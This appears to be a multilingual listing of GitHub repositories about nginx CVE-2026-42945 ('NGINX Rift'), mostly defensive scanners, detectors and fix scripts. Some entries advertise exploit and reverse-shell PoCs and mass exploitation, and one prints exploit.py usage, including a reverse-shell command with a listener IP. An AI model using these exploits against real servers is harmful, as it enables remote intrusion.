NGINX_RIFT_SCAN_CVE_2026_42945

NGINX Rift 配置扫描器 语言：中文 | English 这是一个用于检查 NGINX 配置是否存在 CVE-2026-42945（NGINX Rift）和 CVE-2026-9256 风险模式的轻量级脚本。 该漏洞由 depthfirst 在文章 NGINX Rift: Achieving NGINX RCE via an 18-Year-Old Vulnerability 中披露。根据文章和 F5/NVD 描述，风险与 ngxhttprewritemodule 的特定配置组合有关：在同一配置上下文中，rewrite 的替换字符串包含 ?，后续 rewrite、if 或 set...

nginx-cve-2026-42945

CVE-2026-42945 NGINX Rift — 防御性扫描器 运行 NGINX Open Source 、NGINX Plus 或基于 NGINX 的 Ingress/控制器的组织，应确认其是否受到 CVE-2026-42945 的影响，并在利用尝试触及生产边缘之前进行修补或重新配置。 本仓库提供了一个只读、非利用 的扫描器，供你在自有或获准测试的系统上进行授权的防御性使用。 漏洞是什么 项目| 详情 ---|--- CVE| CVE-2026-42945 名称| NGINX Rift 组件| ngxhttprewritemodule（堆缓冲区溢出） 受影响版本| NGINX...

nGixshell

nGixShell 是一个 nginx CVE 扫描器和 RCE 漏洞利用框架。它附带一个针对 CVE-2026-42945 的可工作概念验证（proof-of-concept）——ngxhttprewritemodule 中的一个严重堆缓冲区溢出——以及一个覆盖 53 个 nginx CVE 的扫描器，具备自动化 HTTP 探测、指纹识别、WAF 检测/绕过、Web 安全审计和报告生成功能。 零外部依赖。纯 Python 3 标准库。 快速开始 root@kitploit: Spin up the vulnerable lab docker compose -f...

nginx-rift-detect

nginx-rift-detect 针对 CVE-2026-42945 （NGINX Rift）的行为检测脚本 —— 这是 ngxhttprewritemodule 中的一个堆缓冲区溢出漏洞，自 2008 年起便存在于 nginx 中。 ⚠️ 免责声明 本工具仅供授权安全测试和研究使用 。 请仅针对您拥有或已获得明确书面许可 的系统运行本工具。 未经授权使用可能违反您所在司法辖区的计算机犯罪法律。 作者不对因使用本工具而造成的任何滥用或损害承担责任。 背景 CVE-2026-42945 是 nginx 重写脚本引擎（ngxhttprewritemodule）中的一个堆缓冲区溢出漏洞，自版本...

nginx-rce-cve-2026-42945

5. CVE-2026-42945 - 严重 NGINX RCE CVSS 9.2 分类 类别: 零日 / 远程代码执行 CVE: CVE-2026-42945 CVSS: 9.2 严重 发现日期: 2026年5月12日 补丁日期: 2026年5月 F5季度安全更新 来源: GitHub DepthFirstDisclosures/Nginx-Rift 漏洞详情 NGINX 的 ngxhttprewritemodule 组件中存在一个 堆缓冲区溢出 ，该漏洞于 2008 年 引入——意味着它在被发现前已存在 16 年 。 受影响版本 : NGINX Open Source 0.6.27 ...

CVE-2026-42945-Reverse-Shell-POC

CVE-2026-42945 NGINX Rift PoC de RCE con Reverse Shell Prueba de concepto de ejecución remota de código para CVE-2026-42945 , un desbordamiento de búfer en el heap del módulo ngxhttprewritemodule de NGINX. Este fork extiende el PoC público de activación con un listener de reverse shell integrado ...

fix_nginx_cve_2026_42945

Script de reparación de un clic para NGINX CVE-2026-42945 Detecta automáticamente la distribución del sistema, actualiza NGINX a la versión corregida ≥1.30.1, respalda la configuración y revierte automáticamente en caso de fallo. Descripción de la vulnerabilidad ID de vulnerabilidad: CVE-2026-429...

Nginx_cve-2026-42945-scanner-gui

Ngxin cve-2026-42945-scanner-gui Necesita ejecutar jdk21version java -jar cve-2026-42945-scanner.... Escaneo masivo + explotación de vulnerabilidades con un clic Necesita jdk21 para ejecutarse Después de descomprimir, ejecuta java -jar cve-2026-42945-scanner.... Escaneo masivo + explotación de...

NGINX-Rift

NGINX Rift — CVE-2026-42945 / CVE-2026-9256 Vulnerability Scanning and Verification Tool NGINX Rift is an open-source scanning and verification tool targeting CVE-2026-42945 and CVE-2026-9256 heap overflow vulnerabilities in NGINX ngxhttprewritemodule. It supports remote network fingerprint...

Scanner_CVE_2026-42945

Escáner para detección de instancias Nginx vulnerables al CVE-2026-42945 NGINX RIFT. Acepta IPs individuales, rangos CIDR y ASNs como entrada. Acerca de El CVE-2026-42945 afecta a todas las versiones de Nginx anteriores a la 1.30.1. La herramienta sondea HTTP y HTTPS en los puertos predeterminado...

nginx-rift-detector

NGINX Rift 检测器用于 CVE-2026-42945 用于受感染 NGINX 服务器的只读 Bash 检测器。它帮助运维人员在 CVE-2026-42945 披露后回答两个问题： 此服务器是否仍运行存在漏洞的 NGINX 版本或危险的重写配置？ 本地日志是否包含崩溃、长 URI 或编码信号，需要在关闭工单前进行审查？ 快速开始 需求| 链接 ---|--- 浏览工具页面| https://limo57640-crypto.github.io/nginx-rift-detector/ 阅读 Ping7 自检指南|...

CVE-2026-42945-NGINX-Rift-Check-Script

Questo repository non contiene un README...

nginx-rift-scanner

nginx-rift-scanner Abhängigkeitsfreier Python 3 Scanner für CVE-2026-42945 "NGINX Rift" — ein CVSS v4.0 9.2 KRITISCHER heap-basierter Pufferüberlauf CWE-122 in ngxhttprewritemodule. Was er erkennt Bei jedem Aufruf werden zwei unabhängige Prüfungen durchgeführt:...

nginx-rift-check

nginx-rift-check Trova configurazioni vulnerabili a CVE-2026-42945 , l'heap buffer overflow nel ngxhttprewritemodule di nginx. Eseguire una versione di nginx affetta dalla 0.6.27 alla 1.30.0 non basta perché la vulnerabilità sia sfruttabile. La configurazione deve contenere una coppia specifica d...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...

ai-vuln-rediscovery-nginx-cve-2026-42945

nginx में CVE-2026-42945 की AI-सहायता प्राप्त पुनःखोज यह रिपॉज़िटरी nginx ngxhttprewritemodule के विरुद्ध एक पुनरुत्पादनीय AI-सहायता प्राप्त भेद्यता पुनःखोज प्रयोग का दस्तावेज़ीकरण करता है, जिसे बाद में CVE-2026-42945 से जोड़ा गया। यह प्रयोग जानबूझकर संकीर्ण है। असुरक्षित फ़ाइल,...

cve-2026-42945-scan

cve-2026-42945-scan Scanner statico per file di configurazione NGINX che rileva il pattern rewrite/set associato a CVE-2026-42945. Lo scanner analizza le configurazioni NGINX con crossplane, percorre i blocchi location, e stampa ogni posizione che appare affetta in questo formato: root@kitploit:...

CVE-2026-42945

CVE-2026-42945 PoCGo चीनी | English nginx HTTP/2 कार्यान्वयन CVE-2026-42945 के लिए जांच एवं उपयोग सहायक उपकरण, जिसका उपयोग अधिकृत वातावरण में भेद्यता की उपस्थिति सत्यापित करने, सुधार प्रभाव की तुलना करने, और नियंत्रित प्रायोगिक वातावरण में PoC व्यवहार को पुनः उत्पन्न करने के लिए किया जाता है।...

CVE-2026-42945-nginx-rift

Questo repository non contiene un README...

CVE-2026-42945

Questo repository non contiene un README...